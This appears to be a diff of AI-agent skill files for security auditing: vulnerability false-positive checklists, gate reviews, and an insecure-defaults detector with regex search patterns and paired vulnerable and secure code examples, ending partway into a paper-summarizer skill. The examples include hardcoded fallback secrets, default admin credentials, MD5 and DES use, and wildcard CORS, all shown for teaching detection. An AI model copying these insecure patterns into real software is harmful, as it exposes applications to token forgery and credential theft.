Code patterns that "look vulnerable" may be safely implemented due to context and API contracts. Size parameters being modified doesn't mean buffer overflow if the API prevents writing beyond bounds.
|
||||
|
||||
### 10. Verify Concurrent Access is Actually Possible
|
||||
|
||||
Don't assume race conditions exist without proving concurrent access patterns. Single-threaded initialization contexts cannot have race conditions. Verify the threading model and synchronization mechanisms.
|
||||
|
||||
### 11. Assess Real vs Theoretical Security Impact
|
||||
|
||||
Focus on vulnerabilities with actual security impact. Storage failure for non-critical data is an operational issue, not a security vulnerability. Ask: would this lead to code execution, privilege escalation, or information disclosure?
|
||||
|
||||
### 12. Understand Defense-in-Depth vs Primary Controls
|
||||
|
||||
Failure of defense-in-depth mechanisms is not always a vulnerability if primary protections exist. Token cleanup failure is not critical if tokens are single-use by design at the server.
|
||||
|
||||
### 13. Apply the Checklist Rigorously, Not Superficially
|
||||
|
||||
Having a checklist doesn't prevent false positives if it isn't applied systematically. For EVERY potential vulnerability, work through ALL checklist items before concluding.
|
||||
|
||||
---
|
||||
|
||||
## Red Flags for False Positives
|
||||
|
||||
### Pattern-Based False Positives
|
||||
|
||||
- Reporting vulnerabilities in validation/bounds-checking code itself
|
||||
- Claiming TOCTOU without proving the value can change
|
||||
- Ignoring preceding validation logic
|
||||
- Assuming network data reaches operations without tracing the path
|
||||
- Confusing defensive programming (assertions/checks) with vulnerabilities
|
||||
- Analyzing vulnerable-looking patterns without tracing conditional logic that controls reachability
|
||||
- Reporting "vulnerabilities" in error handling or cleanup code
|
||||
- Flagging size calculations without understanding mathematical constraints
|
||||
- Identifying "dangerous" functions without checking if inputs are bounded
|
||||
- Claiming buffer overflows in fixed-size operations with compile-time bounds
|
||||
- Reporting race conditions in single-threaded or synchronized contexts
|
||||
|
||||
### Context-Blind Analysis False Positives
|
||||
|
||||
- Analyzing code snippets without understanding broader system design
|
||||
- Ignoring architectural guarantees (single-writer, trusted input sources)
|
||||
- Missing that "vulnerable" code is unreachable due to earlier validation
|
||||
- Confusing debug/development code paths with production paths
|
||||
- Reporting issues in code that only runs during trusted installation/setup
|
||||
- Flagging theoretical issues that cannot occur due to system architecture
|
||||
- Missing that alleged vulnerabilities are prevented by framework or language guarantees
|
||||
- Reporting issues in test-only or debug-only code paths as production vulnerabilities
|
||||
|
||||
### Mathematical/Bounds Analysis False Positives
|
||||
|
||||
- Reporting integer underflow without proving the mathematical condition can occur
|
||||
- Claiming buffer overflow when bounds are mathematically guaranteed by validation
|
||||
- Missing that conditional logic creates mathematical impossibility of vulnerable conditions
|
||||
- Reporting off-by-one errors without checking if loop bounds prevent the condition
|
||||
- Claiming memory corruption when allocation sizes are verified sufficient
|
||||
- Reporting arithmetic overflow without checking if input ranges prevent the condition
|
||||
|
||||
### API Contract Misunderstanding False Positives
|
||||
|
||||
- Claiming buffer overflows when APIs have built-in bounds checking
|
||||
- Reporting memory corruption for APIs that manage their own memory safely
|
||||
- Missing that return values are already validated by the API contract
|
||||
- Confusing API parameter modification with vulnerability when API prevents unsafe modification
|
||||
- Reporting issues explicitly handled by the API's safety guarantees
|
||||
- Missing that seemingly dangerous operations are safe due to API implementation details
|
||||
@@ -0,0 +1,27 @@
|
||||
# Gate Reviews and Verdicts
|
||||
|
||||
Before reporting ANY bug as a vulnerability, all six gate reviews must pass. Evaluate these during the GATE REVIEW task after all phases are complete:
|
||||
|
||||
| Gate | Criterion | Pass | Fail |
|
||||
|------|-----------|------|------|
|
||||
| **1. Process** | All phases completed with documented evidence | Evidence exists for every phase | Phases lack concrete evidence |
|
||||
| **2. Reachability** | Attacker can reach and control data at the vulnerability | Clear evidence of attacker-controlled path + PoC confirms | Cannot demonstrate attacker control or reachability |
|
||||
| **3. Real Impact** | Exploitation leads to RCE, privesc, or info disclosure | Direct impact with concrete scenarios | Only operational robustness issue |
|
||||
| **4. PoC Validation** | PoC (pseudocode, executable, or unit test) demonstrates the attack path | Shows attacker control, trigger, and impact | PoC fails to show attack path or impact |
|
||||
| **5. Math Bounds** | Mathematical analysis confirms vulnerable condition is possible | Algebraic proof shows condition is possible | Math proves validation prevents it |
|
||||
| **6. Environment** | No environmental protections entirely prevent exploitation | Protections do not eliminate vulnerability | Environmental protections block it entirely |
|
||||
|
||||
## Verdict Format
|
||||
|
||||
- **TRUE POSITIVE**: All gate reviews pass → `BUG #N TRUE POSITIVE — [brief vulnerability description]`
|
||||
- **FALSE POSITIVE**: Any gate review fails → `BUG #N FALSE POSITIVE — [brief reason for rejection]`
|
||||
|
||||
If any phase fails verification, document the failure with evidence and continue all remaining phases. Issue the FALSE POSITIVE verdict only after all phases are complete.
|
||||
|
||||
## Example Verdict
|
||||
|
||||
```
|
||||
BUG #3 FALSE POSITIVE — Integer underflow in packet_handler.c:142
|
||||
Gate 5 (Math Bounds) FAIL: validation at line 98 ensures packet_size >= 16,
|
||||
making (packet_size - header_size) >= 8. Underflow is mathematically impossible.
|
||||
```
|
||||
@@ -0,0 +1,78 @@
|
||||
# Standard Verification
|
||||
|
||||
Linear single-pass checklist for straightforward bugs. No task creation — work through each step sequentially and document findings inline.
|
||||
|
||||
## Escalation Checkpoints
|
||||
|
||||
Two points in this checklist may trigger escalation to [deep-verification.md](deep-verification.md):
|
||||
|
||||
1. **After Step 1 (Data Flow)**: Escalate if 3+ trust boundaries, callbacks/async control flow, or ambiguous validation chain
|
||||
2. **After Step 5 (Devil's Advocate)**: Escalate if any question produces genuine uncertainty you cannot resolve
|
||||
|
||||
When escalating, hand off all evidence gathered so far — deep verification will continue from where you left off.
|
||||
|
||||
## Checklist
|
||||
|
||||
### Step 1: Data Flow
|
||||
|
||||
Trace data from source to the alleged vulnerability sink.
|
||||
|
||||
- Map trust boundaries crossed (internal/trusted vs external/untrusted)
|
||||
- Identify all validation and sanitization between source and sink
|
||||
- Check API contracts — many APIs have built-in bounds protection that prevents the alleged issue
|
||||
- Check for environmental protections (compiler, runtime, OS, framework) that prevent exploitation entirely (not just raise the bar)
|
||||
- Apply class-specific checks from [bug-class-verification.md](bug-class-verification.md)
|
||||
|
||||
**Key pitfall**: Analyzing the vulnerable code in isolation. Conditional logic upstream may make the vulnerability mathematically unreachable. Trace the full validation chain.
|
||||
|
||||
**Escalation check**: If you found 3+ trust boundaries, callbacks or async control flow in the path, or an ambiguous validation chain — escalate to deep verification.
|
||||
|
||||
### Step 2: Exploitability
|
||||
|
||||
Prove the attacker can trigger the vulnerability.
|
||||
|
||||
- **Attacker control**: Prove the attacker controls data reaching the vulnerable operation. Internal storage set by trusted components is not attacker-controlled.
|
||||
- **Bounds proof**: For integer/bounds issues, create an explicit algebraic proof using the template in [evidence-templates.md](evidence-templates.md). Verify: IF validation_check_passes THEN bounds_guarantee_holds.
|
||||
- **Race feasibility**: For race conditions, prove concurrent access is actually possible. Single-threaded initialization and synchronized contexts cannot have races.
|
||||
|
||||
### Step 3: Impact
|
||||
|
||||
Determine whether exploitation has real security consequences.
|
||||
|
||||
- Distinguish real security impact (RCE, privesc, info disclosure) from operational robustness issues (crash recovery, cleanup failure)
|
||||
- Distinguish primary security controls from defense-in-depth. Failure of a defense-in-depth measure is not a vulnerability if primary protections remain intact.
|
||||
|
||||
### Step 4: PoC Sketch
|
||||
|
||||
Create a pseudocode PoC showing the attack path. Executable and unit test PoCs are optional for standard verification.
|
||||
|
||||
```
|
||||
Data Flow: [Source] → [Validation?] → [Transform?] → [Vulnerable Op] → [Impact]
|
||||
Attacker controls: [what input, how]
|
||||
Trigger: [pseudocode showing the exploit path]
|
||||
```
|
||||
|
||||
See [evidence-templates.md](evidence-templates.md) for the full PoC template.
|
||||
|
||||
### Step 5: Devil's Advocate Spot-Check
|
||||
|
||||
Answer these 7 questions. If any produces genuine uncertainty, escalate to deep verification.
|
||||
|
||||
**Against the vulnerability:**
|
||||
|
||||
1. Am I seeing a vulnerability because the pattern "looks dangerous" rather than because it actually is? (pattern-matching bias)
|
||||
2. Am I incorrectly assuming attacker control over trusted data? (trust boundary confusion)
|
||||
3. Have I rigorously proven the mathematical condition for vulnerability can occur? (proof rigor)
|
||||
4. Am I confusing defense-in-depth failure with a primary security vulnerability? (defense-in-depth confusion)
|
||||
5. Am I hallucinating this vulnerability? LLMs are biased toward seeing bugs everywhere — is this actually real or am I pattern-matching on scary-looking code? (LLM self-check)
|
||||
|
||||
**For the vulnerability (always ask — false-negative protection):**
|
||||
|
||||
6. Am I dismissing a real vulnerability because the exploit seems complex or unlikely?
|
||||
7. Am I inventing mitigations or validation logic that I haven't verified in the actual source code? Re-read the code after reaching a conclusion.
|
||||
|
||||
**Escalation check**: If any question above produces genuine uncertainty you cannot resolve with the evidence at hand — escalate to deep verification.
|
||||
|
||||
### Step 6: Gate Review
|
||||
|
||||
Apply all six gates from [gate-reviews.md](gate-reviews.md) and all 13 items from [false-positive-patterns.md](false-positive-patterns.md) to reach a verdict.
|
||||
@@ -0,0 +1,113 @@
|
||||
---
|
||||
name: insecure-defaults
|
||||
description: Detects fail-open insecure defaults (hardcoded secrets, weak auth, permissive security) that allow apps to run insecurely in production. Use when auditing security, reviewing config management, or analyzing environment variable handling.
|
||||
license: MIT (modified; see UPSTREAMS.json)
|
||||
---
|
||||
|
||||
# Insecure Defaults Detection
|
||||
|
||||
Finds **fail-open** vulnerabilities where apps run insecurely with missing configuration. Distinguishes exploitable defaults from fail-secure patterns that crash safely.
|
||||
|
||||
- **Fail-open (CRITICAL):** `SECRET = env.get('KEY') or 'default'` → App runs with weak secret
|
||||
- **Fail-secure (SAFE):** `SECRET = env['KEY']` → App crashes if missing
|
||||
|
||||
## When to Use
|
||||
|
||||
- **Security audits** of production applications (auth, crypto, API security)
|
||||
- **Configuration review** of deployment files, IaC templates, Docker configs
|
||||
- **Code review** of environment variable handling and secrets management
|
||||
- **Pre-deployment checks** for hardcoded credentials or weak defaults
|
||||
|
||||
## When NOT to Use
|
||||
|
||||
Do not use this skill for:
|
||||
- **Test fixtures** explicitly scoped to test environments (files in `test/`, `spec/`, `__tests__/`)
|
||||
- **Example/template files** (`.example`, `.template`, `.sample` suffixes)
|
||||
- **Development-only tools** (local Docker Compose for dev, debug scripts)
|
||||
- **Documentation examples** in README.md or docs/ directories
|
||||
- **Build-time configuration** that gets replaced during deployment
|
||||
- **Crash-on-missing behavior** where app won't start without proper config (fail-secure)
|
||||
|
||||
When in doubt: trace the code path to determine if the app runs with the default or crashes.
|
||||
|
||||
## Rationalizations to Reject
|
||||
|
||||
- **"It's just a development default"** → If it reaches production code, it's a finding
|
||||
- **"The production config overrides it"** → Verify prod config exists; code-level vulnerability remains if not
|
||||
- **"This would never run without proper config"** → Prove it with code trace; many apps fail silently
|
||||
- **"It's behind authentication"** → Defense in depth; compromised session still exploits weak defaults
|
||||
- **"We'll fix it before release"** → Document now; "later" rarely comes
|
||||
|
||||
## Workflow
|
||||
|
||||
Follow this workflow for every potential finding:
|
||||
|
||||
### 1. SEARCH: Perform Project Discovery and Find Insecure Defaults
|
||||
|
||||
Determine language, framework, and project conventions. Use this information to further discover things like secret storage locations, secret usage patterns, credentialed third-party integrations, cryptography, and any other relevant configuration. Further use information to analyze insecure default configurations.
|
||||
|
||||
**Example**
|
||||
Search for patterns in `**/config/`, `**/auth/`, `**/database/`, and env files:
|
||||
- **Fallback secrets:** `getenv.*\) or ['"]`, `process\.env\.[A-Z_]+ \|\| ['"]`, `ENV\.fetch.*default:`
|
||||
- **Hardcoded credentials:** `password.*=.*['"][^'"]{8,}['"]`, `api[_-]?key.*=.*['"][^'"]+['"]`
|
||||
- **Weak defaults:** `DEBUG.*=.*true`, `AUTH.*=.*false`, `CORS.*=.*\*`
|
||||
- **Crypto algorithms:** `MD5|SHA1|DES|RC4|ECB` in security contexts
|
||||
|
||||
Tailor search approach based on discovery results.
|
||||
|
||||
Focus on production-reachable code, not test fixtures or example files.
|
||||
|
||||
### 2. VERIFY: Actual Behavior
|
||||
For each match, trace the code path to understand runtime behavior.
|
||||
|
||||
**Questions to answer:**
|
||||
- When is this code executed? (Startup vs. runtime)
|
||||
- What happens if a configuration variable is missing?
|
||||
- Is there validation that enforces secure configuration?
|
||||
|
||||
### 3. CONFIRM: Production Impact
|
||||
Determine if this issue reaches production:
|
||||
|
||||
If production config provides the variable → Lower severity (but still a code-level vulnerability)
|
||||
If production config missing or uses default → CRITICAL
|
||||
|
||||
### 4. REPORT: with Evidence
|
||||
|
||||
**Example report:**
|
||||
```
|
||||
Finding: Hardcoded JWT Secret Fallback
|
||||
Location: src/auth/jwt.ts:15
|
||||
Pattern: const secret = process.env.JWT_SECRET || 'default';
|
||||
|
||||
Verification: App starts without JWT_SECRET; secret used in jwt.sign() at line 42
|
||||
Production Impact: Dockerfile missing JWT_SECRET
|
||||
Exploitation: Attacker forges JWTs using 'default', gains unauthorized access
|
||||
```
|
||||
|
||||
## Quick Verification Checklist
|
||||
|
||||
**Fallback Secrets:** `SECRET = env.get(X) or Y`
|
||||
→ Verify: App starts without env var? Secret used in crypto/auth?
|
||||
→ Skip: Test fixtures, example files
|
||||
|
||||
**Default Credentials:** Hardcoded `username`/`password` pairs
|
||||
→ Verify: Active in deployed config? No runtime override?
|
||||
→ Skip: Disabled accounts, documentation examples
|
||||
|
||||
**Fail-Open Security:** `AUTH_REQUIRED = env.get(X, 'false')`
|
||||
→ Verify: Default is insecure (false/disabled/permissive)?
|
||||
→ Safe: App crashes or default is secure (true/enabled/restricted)
|
||||
|
||||
**Weak Crypto:** MD5/SHA1/DES/RC4/ECB in security contexts
|
||||
→ Verify: Used for passwords, encryption, or tokens?
|
||||
→ Skip: Checksums, non-security hashing
|
||||
|
||||
**Permissive Access:** CORS `*`, permissions `0777`, public-by-default
|
||||
→ Verify: Default allows unauthorized access?
|
||||
→ Skip: Explicitly configured permissiveness with justification
|
||||
|
||||
**Debug Features:** Stack traces, introspection, verbose errors
|
||||
→ Verify: Enabled by default? Exposed in responses?
|
||||
→ Skip: Logging-only, not user-facing
|
||||
|
||||
For detailed examples and counter-examples, see [examples.md](references/examples.md).
|
||||
@@ -0,0 +1,409 @@
|
||||
# Insecure Defaults: Examples and Counter-Examples
|
||||
|
||||
This document provides detailed examples for each category in the Quick Verification Checklist, showing both vulnerable patterns (report these) and secure patterns (skip these).
|
||||
|
||||
## Fallback Secrets
|
||||
|
||||
### ❌ VULNERABLE - Report These
|
||||
|
||||
**Python: Environment variable with fallback**
|
||||
```python
|
||||
# File: src/auth/jwt.py
|
||||
SECRET_KEY = os.environ.get('SECRET_KEY', 'dev-secret-key-123')
|
||||
|
||||
# Used in security context
|
||||
def create_token(user_id):
|
||||
return jwt.encode({'user_id': user_id}, SECRET_KEY, algorithm='HS256')
|
||||
```
|
||||
**Why vulnerable:** App runs with known secret if `SECRET_KEY` is missing. Attacker can forge tokens.
|
||||
|
||||
**JavaScript: Logical OR fallback**
|
||||
```javascript
|
||||
// File: config/database.js
|
||||
const DB_PASSWORD = process.env.DB_PASSWORD || 'admin123';
|
||||
|
||||
const pool = new Pool({
|
||||
user: 'admin',
|
||||
password: DB_PASSWORD,
|
||||
database: 'production'
|
||||
});
|
||||
```
|
||||
**Why vulnerable:** Database accepts hardcoded password in production if env var missing.
|
||||
|
||||
**Ruby: fetch with default**
|
||||
```ruby
|
||||
# File: config/secrets.rb
|
||||
Rails.application.credentials.secret_key_base =
|
||||
ENV.fetch('SECRET_KEY_BASE', 'fallback-secret-base')
|
||||
```
|
||||
**Why vulnerable:** Rails session encryption uses weak known key as fallback.
|
||||
|
||||
### ✅ SECURE - Skip These
|
||||
|
||||
**Fail-secure: Crashes without config**
|
||||
```python
|
||||
# File: src/auth/jwt.py
|
||||
SECRET_KEY = os.environ['SECRET_KEY'] # Raises KeyError if missing
|
||||
|
||||
# App won't start without SECRET_KEY - fail-secure
|
||||
```
|
||||
|
||||
**Explicit validation**
|
||||
```javascript
|
||||
// File: config/database.js
|
||||
if (!process.env.DB_PASSWORD) {
|
||||
throw new Error('DB_PASSWORD environment variable required');
|
||||
}
|
||||
const DB_PASSWORD = process.env.DB_PASSWORD;
|
||||
```
|
||||
|
||||
**Test fixtures (clearly scoped)**
|
||||
```python
|
||||
# File: tests/fixtures/auth.py
|
||||
TEST_SECRET = 'test-secret-key-123' # OK - test-only
|
||||
|
||||
# Usage in test
|
||||
def test_token_creation():
|
||||
token = create_token('user1', secret=TEST_SECRET)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Default Credentials
|
||||
|
||||
### ❌ VULNERABLE - Report These
|
||||
|
||||
**Hardcoded admin account**
|
||||
```python
|
||||
# File: src/models/user.py
|
||||
def bootstrap_admin():
|
||||
"""Create default admin account if none exists"""
|
||||
if not User.query.filter_by(role='admin').first():
|
||||
admin = User(
|
||||
username='admin',
|
||||
password=hash_password('admin123'),
|
||||
role='admin'
|
||||
)
|
||||
db.session.add(admin)
|
||||
db.session.commit()
|
||||
```
|
||||
**Why vulnerable:** Default admin account created on first run with known credentials.
|
||||
|
||||
**API key in code**
|
||||
```javascript
|
||||
// File: src/integrations/payment.js
|
||||
const STRIPE_API_KEY = process.env.STRIPE_KEY || 'sk_tes...';
|
||||
|
||||
const stripe = require('stripe')(STRIPE_API_KEY);
|
||||
```
|
||||
**Why vulnerable:** Uses test API key if env var missing. Might reach production.
|
||||
|
||||
**Database connection string**
|
||||
```java
|
||||
// File: DatabaseConfig.java
|
||||
private static final String DB_URL = System.getenv().getOrDefault(
|
||||
"DATABASE_URL",
|
||||
"postgresql://admin:password@localhost:5432/prod"
|
||||
);
|
||||
```
|
||||
**Why vulnerable:** Hardcoded database credentials as fallback.
|
||||
|
||||
### ✅ SECURE - Skip These
|
||||
|
||||
**Disabled default account**
|
||||
```python
|
||||
# File: src/models/user.py
|
||||
def bootstrap_admin():
|
||||
"""Admin account MUST be configured via environment"""
|
||||
username = os.environ['ADMIN_USERNAME']
|
||||
password = os.environ['ADMIN_PASSWORD']
|
||||
|
||||
if not User.query.filter_by(username=username).first():
|
||||
admin = User(username=username, password=hash_password(password), role='admin')
|
||||
db.session.add(admin)
|
||||
```
|
||||
|
||||
**Example/documentation credentials**
|
||||
```bash
|
||||
# File: README.md
|
||||
## Setup
|
||||
|
||||
Configure your API key:
|
||||
```bash
|
||||
export STRIPE_KEY='sk_tes...' # Example only
|
||||
```
|
||||
```
|
||||
|
||||
**Test fixture credentials**
|
||||
```python
|
||||
# File: tests/conftest.py
|
||||
@pytest.fixture
|
||||
def test_user():
|
||||
return User(username='test_user', password='test_pass') # OK - test scope
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Fail-Open Security
|
||||
|
||||
### ❌ VULNERABLE - Report These
|
||||
|
||||
**Authentication disabled by default**
|
||||
```python
|
||||
# File: config/security.py
|
||||
REQUIRE_AUTH = os.getenv('REQUIRE_AUTH', 'false').lower() == 'true'
|
||||
|
||||
@app.before_request
|
||||
def check_auth():
|
||||
if not REQUIRE_AUTH:
|
||||
return # Skip auth check
|
||||
# ... auth logic
|
||||
```
|
||||
**Why vulnerable:** Default is no authentication. App runs insecurely if env var missing.
|
||||
|
||||
**CORS allows all origins**
|
||||
```javascript
|
||||
// File: server.js
|
||||
const allowedOrigins = process.env.ALLOWED_ORIGINS || '*';
|
||||
|
||||
app.use(cors({ origin: allowedOrigins }));
|
||||
```
|
||||
**Why vulnerable:** Default allows requests from any origin. XSS/CSRF risk.
|
||||
|
||||
**Debug mode enabled by default**
|
||||
```python
|
||||
# File: config.py
|
||||
DEBUG = os.getenv('DEBUG', 'true').lower() != 'false' # Default: true
|
||||
|
||||
if DEBUG:
|
||||
app.config['DEBUG'] = True
|
||||
app.config['PROPAGATE_EXCEPTIONS'] = True
|
||||
```
|
||||
**Why vulnerable:** Debug mode default. Stack traces leak sensitive info in production.
|
||||
|
||||
### ✅ SECURE - Skip These
|
||||
|
||||
**Authentication required by default**
|
||||
```python
|
||||
# File: config/security.py
|
||||
REQUIRE_AUTH = os.getenv('REQUIRE_AUTH', 'true').lower() == 'true' # Default: true
|
||||
|
||||
# Or better - crash if not explicitly configured
|
||||
REQUIRE_AUTH = os.environ['REQUIRE_AUTH'].lower() == 'true'
|
||||
```
|
||||
|
||||
**CORS requires explicit configuration**
|
||||
```javascript
|
||||
// File: server.js
|
||||
if (!process.env.ALLOWED_ORIGINS) {
|
||||
throw new Error('ALLOWED_ORIGINS must be configured');
|
||||
}
|
||||
const allowedOrigins = process.env.ALLOWED_ORIGINS.split(',');
|
||||
|
||||
app.use(cors({ origin: allowedOrigins }));
|
||||
```
|
||||
|
||||
**Debug mode disabled by default**
|
||||
```python
|
||||
# File: config.py
|
||||
DEBUG = os.getenv('DEBUG', 'false').lower() == 'true' # Default: false
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Weak Crypto
|
||||
|
||||
### ❌ VULNERABLE - Report These
|
||||
|
||||
**MD5 for password hashing**
|
||||
```python
|
||||
# File: src/auth/passwords.py
|
||||
import hashlib
|
||||
|
||||
def hash_password(password):
|
||||
"""Hash user password"""
|
||||
return hashlib.md5(password.encode()).hexdigest()
|
||||
```
|
||||
**Why vulnerable:** MD5 is cryptographically broken. Rainbow tables exist. Use bcrypt/Argon2.
|
||||
|
||||
**DES encryption for sensitive data**
|
||||
```java
|
||||
// File: Encryption.java
|
||||
public static byte[] encrypt(String data, byte[] key) {
|
||||
Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
|
||||
SecretKeySpec secretKey = new SecretKeySpec(key, "DES");
|
||||
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
|
||||
return cipher.doFinal(data.getBytes());
|
||||
}
|
||||
```
|
||||
**Why vulnerable:** DES has 56-bit keys (brute-forceable). ECB mode leaks patterns.
|
||||
|
||||
**SHA1 for signature verification**
|
||||
```javascript
|
||||
// File: webhooks.js
|
||||
function verifySignature(payload, signature) {
|
||||
const hmac = crypto.createHmac('sha1', WEBHOOK_SECRET);
|
||||
const computed = hmac.update(payload).digest('hex');
|
||||
return computed === signature;
|
||||
}
|
||||
```
|
||||
**Why vulnerable:** SHA1 collisions exist. Use SHA256 or better.
|
||||
|
||||
### ✅ SECURE - Skip These
|
||||
|
||||
**Weak crypto for non-security checksums**
|
||||
```python
|
||||
# File: src/utils/cache.py
|
||||
import hashlib
|
||||
|
||||
def cache_key(data):
|
||||
"""Generate cache key - not security-sensitive"""
|
||||
return hashlib.md5(data.encode()).hexdigest() # OK - just for cache lookup
|
||||
```
|
||||
|
||||
**Modern crypto for passwords**
|
||||
```python
|
||||
# File: src/auth/passwords.py
|
||||
import bcrypt
|
||||
|
||||
def hash_password(password):
|
||||
return bcrypt.hashpw(password.encode(), bcrypt.gensalt())
|
||||
```
|
||||
|
||||
**Strong encryption**
|
||||
```java
|
||||
// File: Encryption.java
|
||||
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
|
||||
// 256-bit key, authenticated encryption
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Permissive Access
|
||||
|
||||
### ❌ VULNERABLE - Report These
|
||||
|
||||
**File permissions world-writable**
|
||||
```python
|
||||
# File: src/storage/files.py
|
||||
def create_secure_file(path):
|
||||
fd = os.open(path, os.O_CREAT | os.O_WRONLY, 0o666) # rw-rw-rw-
|
||||
return fd
|
||||
```
|
||||
**Why vulnerable:** Any user can write to file. Should be 0o600 or 0o644.
|
||||
|
||||
**S3 bucket public by default**
|
||||
```python
|
||||
# File: infrastructure/storage.py
|
||||
def create_storage_bucket(name):
|
||||
bucket = s3.create_bucket(
|
||||
Bucket=name,
|
||||
ACL='public-read' # Publicly readable by default
|
||||
)
|
||||
```
|
||||
**Why vulnerable:** Sensitive data exposed publicly. Should require explicit configuration.
|
||||
|
||||
**API allows any origin**
|
||||
```python
|
||||
# File: app.py
|
||||
@app.after_request
|
||||
def after_request(response):
|
||||
response.headers['Access-Control-Allow-Origin'] = '*'
|
||||
response.headers['Access-Control-Allow-Credentials'] = 'true'
|
||||
return response
|
||||
```
|
||||
**Why vulnerable:** CORS misconfiguration. Allows credential theft from any site.
|
||||
|
||||
### ✅ SECURE - Skip These
|
||||
|
||||
**Explicitly configured permissiveness with justification**
|
||||
```python
|
||||
# File: src/storage/public_assets.py
|
||||
def create_public_asset(path):
|
||||
"""Create world-readable asset for CDN distribution"""
|
||||
# Intentionally public - static assets only
|
||||
fd = os.open(path, os.O_CREAT | os.O_WRONLY, 0o644)
|
||||
return fd
|
||||
```
|
||||
|
||||
**Restrictive by default**
|
||||
```python
|
||||
# File: infrastructure/storage.py
|
||||
def create_storage_bucket(name, public=False):
|
||||
acl = 'public-read' if public else 'private'
|
||||
if public:
|
||||
logger.warning(f'Creating PUBLIC bucket: {name}')
|
||||
bucket = s3.create_bucket(Bucket=name, ACL=acl)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Debug Features
|
||||
|
||||
### ❌ VULNERABLE - Report These
|
||||
|
||||
**Stack traces in API responses**
|
||||
```python
|
||||
# File: app.py
|
||||
@app.errorhandler(Exception)
|
||||
def handle_error(error):
|
||||
return jsonify({
|
||||
'error': str(error),
|
||||
'traceback': traceback.format_exc() # Leaks internal paths, library versions
|
||||
}), 500
|
||||
```
|
||||
**Why vulnerable:** Exposes internal implementation details to attackers.
|
||||
|
||||
**GraphQL introspection enabled**
|
||||
```javascript
|
||||
// File: server.js
|
||||
const server = new ApolloServer({
|
||||
typeDefs,
|
||||
resolvers,
|
||||
introspection: true, // Enabled in production
|
||||
playground: true
|
||||
});
|
||||
```
|
||||
**Why vulnerable:** Attackers can discover entire API schema, including admin-only fields.
|
||||
|
||||
**Verbose error messages**
|
||||
```java
|
||||
// File: UserController.java
|
||||
catch (SQLException e) {
|
||||
return ResponseEntity.status(500).body(
|
||||
"Database error: " + e.getMessage() // Leaks table names, constraints
|
||||
);
|
||||
}
|
||||
```
|
||||
**Why vulnerable:** SQL error messages reveal database structure.
|
||||
|
||||
### ✅ SECURE - Skip These
|
||||
|
||||
**Debug features in logging only**
|
||||
```python
|
||||
# File: app.py
|
||||
@app.errorhandler(Exception)
|
||||
def handle_error(error):
|
||||
logger.exception('Request failed', exc_info=error) # Logs full trace
|
||||
return jsonify({'error': 'Internal server error'}), 500 # Generic to user
|
||||
```
|
||||
|
||||
**Environment-aware debug settings**
|
||||
```javascript
|
||||
// File: server.js
|
||||
const server = new ApolloServer({
|
||||
typeDefs,
|
||||
resolvers,
|
||||
introspection: process.env.NODE_ENV !== 'production',
|
||||
playground: process.env.NODE_ENV !== 'production'
|
||||
});
|
||||
```
|
||||
|
||||
**Generic user-facing errors**
|
||||
```java
|
||||
// File: UserController.java
|
||||
catch (SQLException e) {
|
||||
logger.error("Database error", e); // Full details to logs
|
||||
return ResponseEntity.status(500).body("Unable to process request"); // Generic
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,110 @@
|
||||
---
|
||||
name: paper-summarizer
|
||||
description: Agents should invoke this skill for academic or technical papers, arXiv/PubMed/IEEE/ACM links, PDFs, methodology review, limitations, practical implications, or extracting findings for engineering decisions.
|
||||
license: MIT (modified; see UPSTREAMS.json)
|
||||
---
|
||||
|
||||
# Paper Summarizer
|
||||
|
||||
Extract actionable insights from academic and technical papers.
|
||||
|
||||
## Summary Format
|
||||
|
||||
```markdown
|
||||
# Paper Summary: <Paper Title>
|
||||
|
||||
**Authors:** [Author list]
|
||||
**Published:** [Journal/Conference, Date]
|
||||
**Link:** [URL]
|
||||
**Quality:** Peer-reviewed / Preprint / Workshop paper
|
||||
|
||||
## TL;DR
|
||||
|
||||
[1-2 sentence summary of the key contribution]
|
||||
|
||||
## Problem
|
||||
|
||||
[What problem does this paper address? Why does it matter?]
|
||||
|
||||
## Approach
|
||||
|
||||
[Methodology in plain language — what did they do?]
|
||||
|
||||
## Key Findings
|
||||
|
||||
Anchor each finding to the paper so readers can verify. Use **§** for sections, **Fig.** / **Table** when the evidence is visual or tabular.
|
||||
|
||||
1. **[Finding 1]:** [Description with key metrics/numbers] — *Evidence:* §[N] [section name]; [Fig. X / Table Y if applicable]
|
||||
2. **[Finding 2]:** [Description] — *Evidence:* §[N] …
|
||||
3. **[Finding 3]:** [Description] — *Evidence:* §[N] …
|
||||
|
||||
## Claim–evidence map
|
||||
|
||||
| # | Claim (one line) | Where in paper | Type |
|
||||
|---|------------------|----------------|------|
|
||||
| 1 | [Claim] | §3.2 Results, Table 2 | Empirical |
|
||||
| 2 | [Claim] | §1 Introduction | Stated goal |
|
||||
| 3 | [Claim] | Fig. 4 | Qualitative |
|
||||
|
||||
Use this table for citation-audit alignment against the project's own research notes. If the PDF has no section numbers, use **page** or **heading text** instead of §.
|
||||
|
||||
## Practical Implications
|
||||
|
||||
[What does this mean for practitioners? How can we use these findings?]
|
||||
- For the current stack: [Specific applicability to Rust/TS/Python work]
|
||||
- For current projects: [How this might inform current work]
|
||||
|
||||
## Limitations
|
||||
|
||||
- [Limitation 1: e.g., small sample size, specific domain]
|
||||
- [Limitation 2: e.g., not replicated, theoretical only]
|
||||
|
||||
## Related Work
|
||||
|
||||
- [Paper 1] — [How it relates]
|
||||
- [Paper 2] — [How it relates]
|
||||
|
||||
## Verdict
|
||||
|
||||
**Reliability:** High / Medium / Low
|
||||
**Relevance to us:** High / Medium / Low
|
||||
**Action:** Apply directly / Consider for future / Interesting but not actionable
|
||||
```
|
||||
|
||||
## Process
|
||||
|
||||
### Step 1 — Access the Paper
|
||||
|
||||
- Check arXiv, PubMed, Google Scholar for open-access versions
|
||||
- If behind a paywall, note this and work with the abstract and any available supplementary material
|
||||
- Check for author's personal page (often has preprints)
|
||||
|
||||
### Step 2 — Read Strategically
|
||||
|
||||
1. **Abstract** — Get the overview
|
||||
2. **Introduction (last paragraph)** — Usually states the contribution
|
||||
3. **Figures and tables** — Often convey key results
|
||||
